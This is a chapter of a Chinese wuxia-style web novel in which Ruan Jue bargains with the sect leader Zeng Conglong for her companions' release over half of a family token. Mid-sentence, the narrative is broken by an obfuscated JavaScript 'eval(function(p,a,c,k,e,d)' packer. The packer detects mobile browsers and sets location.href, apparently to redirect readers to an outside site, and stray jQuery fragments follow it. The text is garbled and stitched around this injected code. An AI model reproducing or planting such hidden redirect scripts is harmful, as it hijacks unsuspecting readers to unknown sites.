29. 第 29 章

作品:《替嫁进死对头家中后

    再一次踏入这个院子,四人不复当初那般轻松,甚至有些紧绷,心中暗自后悔,一开始便小瞧了眼前的人,也小瞧了眼前的这处院子。


    进入院中前,曾从龙的人将他们拦下,搜缴了邹燕临和季云致的佩剑,到了江千里的面前,众人只是将他围着,不敢搜身,却又不敢轻易将人放过。


    江千里盯着台阶之上的曾从龙:“你这是什么意思?”


    曾从龙笑道:“江神医,毒药危险,不如先放在院外,我们暂时帮着保管。”


    他挥了挥手,一个下人战战兢兢地端着托盘走到江千里的面前。


    江千里瞧也未瞧,嗤笑一声道:“既然危险,我敢给,你敢接吗?”


    眼见逐渐平静的氛围又要变得紧张,阮珏走到江千里的身边:“二哥,给他们便是。”


    说着阮珏给他使了使眼色。


    江千里迟疑片刻,才将手伸入怀中,掏出些药瓶药包,一一呈放至眼前的托盘之上。


    几个药瓶药包,轻如毫毛,那人似是端着千斤重的东西般,双手不受控制地发抖。


    眼见他双手越抖越厉害,托盘之上的药瓶似有倾倒之意,阮珏伸手托举:“可要举好了,这要是摔破到地上,我们可都要没命了。”


    那人越是想要托举好,却发现双臂更加不受控制起来。


    见这人被自己的三言两语吓破胆,阮珏雀跃,脸上也浮现出一丝笑意,她双手接过来,稳稳当当地端着,走到曾从龙的面前:“杨帮主,药收齐了。”


    乖顺恭敬,可双眸却一瞬不瞬的盯着他,不知是不是曾从龙的错觉,竟从一个弱女子的眼里看出挑衅之意。


    曾从龙命令身侧的人伸手接过,凌厉的眼光看向跪在地上的那人:“来人,将这个不中用的东西拖下去。”


    那人闻言,连连求饶:“帮主,饶……饶了我吧,饶了我,帮主……”


    他的声音越来越小,很快便听不见。


    院中忽然静寂,气氛也如夜晚的天气,降至冰点。


    “外面风大,各位还是随我移步到院中吧。”曾从龙脸上挂着和煦的笑,和刚刚抬手便决定一个人生死的冷酷模样,天差地别。


    四人跟随着曾从龙的脚步踏入院子,那间藏有出口的厢房大门敞开,里面空荡荡,火把映照之下,就像一个张开大口,要将人全都生吞下的怪物。


    此处厢房空无一物,连个坐的地方也没有,曾从龙转头,就将人带入最西侧藏有陷阱的那处厢房,他站立在门外将房门推开,突然转身,望着身后的四人,做了一个请的姿势。


    阮珏一行人跟着他的脚步停在他身后的空地上,见他做出请的姿势,岿然不动。


    曾从龙哈哈一笑,转过身率先迈过门槛,走了进去,掏出火折子,点燃房中的蜡烛。


    随后阮珏一行人才跟着走进去,四人之中,唯独季云致露出震惊的表情,不久之前他打开过这个厢房的大门,明明空无一物,不过片刻又变得满当当。


    当看过那个空荡荡的厢房后,再进入这个厢房,他似乎有些明白这两个厢房的秘密,也明白了几处厢房为何布置的一模一样。


    曾从龙率先坐下,阮珏一行人也跟着围坐在桌前,季云致和殷蔓霓分别站在桌子的两侧,曾从龙命人关上房门后,开门见山道:“说说吧,你们在地下找到了什么秘密?”


    阮珏料他最在意的就是《天元录》的秘密,只是不清楚,曾从龙了解的有多深,得到的线索有多少,思忖片刻抛出一个最显眼的信息:“墙壁上画的那些符号,这么多年你都还没有参透吗?”


    一句反问便让曾从龙警惕起来,心中却在考量眼前的人究竟是在糊弄他,还是真的侦破地下的那些秘密文字,心中不禁生出一丝雀跃来:“姑娘这么说,难道是看出些什么名堂了?”


    “并没有。”三个字就像是当头扣下的一盆冷水,让曾从龙心中生出的那一点点小火苗瞬间熄灭。


    阮珏见他面色一黑,心中冷笑,知晓曾从龙不是个好糊弄的,又缓缓抛出另外一个实质性的线索:“但是我们知道了另外半块殷家家族徽牌的下落,你囚禁着杨盛武这么多时日,找的就是这个吧。”


    曾从龙眸中精光一闪,审视着阮珏,似乎要探究她话语的真假。


    但若不是杨盛武亲口告知,地下的三人并不会知道徽牌的存在,心中越发好奇,他们三人是如何撬开杨盛武的口,打探到另外半块徽牌的下落。


    半晌后缓缓开口道:“那半块徽牌果然在他手中,说吧,那半块徽牌究竟在何处?”


    看到曾从龙的反应,阮珏便知自己试探的方向没有错,如此便可提出要求,阮珏停顿片刻,开口道:“我告诉你徽牌的下落,你放我们走。”


    曾从龙哂笑:“我要是说不呢?”


    “这可由不得你。”说着,阮珏眼神似有若无的瞥了一眼身侧的江千里,又一瞬不瞬的盯着曾从龙:“你要是不答应,我们先下毒毒死你们两个,再出去毒死你们院子里的所有人。”


    曾从龙似是听见什么好笑的笑话,哈哈大笑起来:“江神医的毒药,可都在院外呢。”


    阮珏也学者曾从龙仰头哈哈大笑:“你大可试试,别忘了他可是江神医。”


    阮珏说得斩钉截铁,江千里的医术江湖人尽皆知,他既然有起死人,肉白骨本事,自然也就有不用毒就将人杀死的本领。


    曾从龙望着眼前的陌生的女人,不知为何总在她的身上看见故人的影子,也是这般桀骜,他的目光从阮珏的面前移开,看向对面四人,无论是坐着的,还是站着的,脸上都毫无惧色。


    似乎都未将他放在眼里,也并不觉得他们如今的处境已到了绝境,这种感觉让人很不爽。


    四个人而已,也不知他们有何依仗。


    不过是四个人而已,也没有什么可惧。


    双方僵持半晌,曾从龙率先开口道:“我可以放你们走,但我要拿到那半块徽牌。”


    “你先放我们走,三天后,我自会请人将徽牌送到府上。”阮珏回答道。


    曾从龙冷笑一声:“姑娘,你这是在骗三岁小孩吗,你们走了,如何保证会将徽牌送来,你们得留人质在我手中,我看见徽牌,自然会放了人质。”


    曾从龙提议将四人中武力值最弱的阮珏留下,由阮珏带路,带领着他一个人去找徽牌,其余三人先驾着马车出城,曾从龙得到徽牌后,就放了阮珏。


    一来,阮珏作为一个弱女子,对他曾从龙来说,毫无杀伤力,二来,他放了江千里和邹家的人,放这三人出城,无疑是放虎归山,这般做法,也向阮珏四人释放出他自己最大的诚意。


    尤其是邹家的两个人,跟无极教本来就是死对头,半年多来的,邹家在江湖上大张旗鼓的搜罗无极教余孽,倒不是他曾从龙有多么厉害,会隐匿踪迹。


    他能安然无恙至今日,自然是邹家的人相帮罢了。


    如今将人放出去,虽然会泄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15918303|175428||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    露他藏身之地的消息,但有那人在,之后他也必然会像之前那样消失得无影无踪。


    在他看来,泄露他藏身地消息的事是小事,但泄露《天元录》秘密,必然会让江湖上那些蝇蚊鼠蟑之辈闻着味道凑过来。


    到时候要对付的就不止是四个人了。


    若是他除不掉这四人,就需要及时将他们知晓《天元录》秘密的消息传递给那人,借那人之手,杀掉眼前的四人。


    眼下最重要的就是尽快找到另外半块徽牌,找到殷成武留下的那些关于《天元录》的秘密。


    曾从龙的提议但除了阮珏,其余三人都不同意,无论如何也没有将一个弱女子留作人质的,曾从龙这人反复无常,谁也不敢相信他做出的任何承诺。


    他的此番做法,就是想用阮珏来牵制他们三人,看似将三人放出城去,却又不完全的放人。


    到底是想要他们四人的性命。


    想要逃生,还需要从长计议,邹燕临开口道:“放他们三人出城,换我留下,你若是不放心,想派多少人一同跟着都可以。”


    阮珏抬手,将右手放在邹燕临的手背上稍作安抚,开口制止道:“就按曾……杨帮主的说的,换我留下,我想杨帮主是不会为难我一个弱女子,你说是吧,杨帮主。”


    说着,阮珏扭头去看曾从龙,一副天真无邪,人畜无害的模样。


    整个厢房之中,除了季云致,没有一个人觉得眼前的女人全然无害。


    季云致心中只觉得怪异,虽然之前也没有接触过宫玉婉,但在他的认知里,一个大家闺秀,定然不会有如此胆魄,从四人被曾从龙围困到此刻谈判,一直都是宫玉婉在主导,她不仅敢当人质,还敢只身面对曾从龙这般穷凶极恶的人。


    除了聪慧还有过人的胆识,寻常女子可做不到。


    不过此刻也不是纠结此等问题的时候。


    他的目光从阮珏头顶越过,望向对面端坐的曾从龙,便见曾从龙道貌岸然的冲着阮珏点头道:“当然了,我杨某人是很怜香惜玉的。”


    邹燕临还要说什么,被阮珏提前开口拦下:“折腾一晚,还请杨帮主让我们休息片刻,明日一早,杨帮主送他们出城后,我们就去找另外半块徽牌。”


    “哎呀,”曾从龙抱歉一笑,开口道:“是杨某人招待不周,不过今晚还是要委屈一下四位,就在此处院子歇息吧。”


    说完,曾从龙起身,带着身后的殷蔓霓朝着门外走去,到达门边后,突然停下,扭头盯着阮珏到:“差点忘了,我要如何相信,你们是真的知晓了那半块徽牌的下落呢?”


    “哈哈,若不是地下那人告知,我们又如何知晓如此秘辛的家族秘密,若你不相信,明日大可将地下的那人一同带上,看我找的地方究竟对不对。”阮珏盯着曾从龙晦暗不明的面容信誓旦旦的回答道。


    曾从龙脸上露出一丝满意的笑容:“是我多虑了,那我就不打扰四位休息了,告辞。”


    说完曾从龙和殷蔓霓二人便离开房子。


    关门之前,殷蔓霓意味深长的望了一眼季云致,两人目光如蜻蜓点水般,对上便匆匆错开。


    听着院中大门合上的声响后,季云致落座,三人不解的望着阮珏,似要她好好解释一番。


    阮珏会意,从袖口中掏了掏,当着三人的面摊开掌心,一个红色小药瓶立于她的手掌之上。


    “麻骨散。”江千里眸色一亮,不可置信的看着阮珏,眼里难掩兴奋。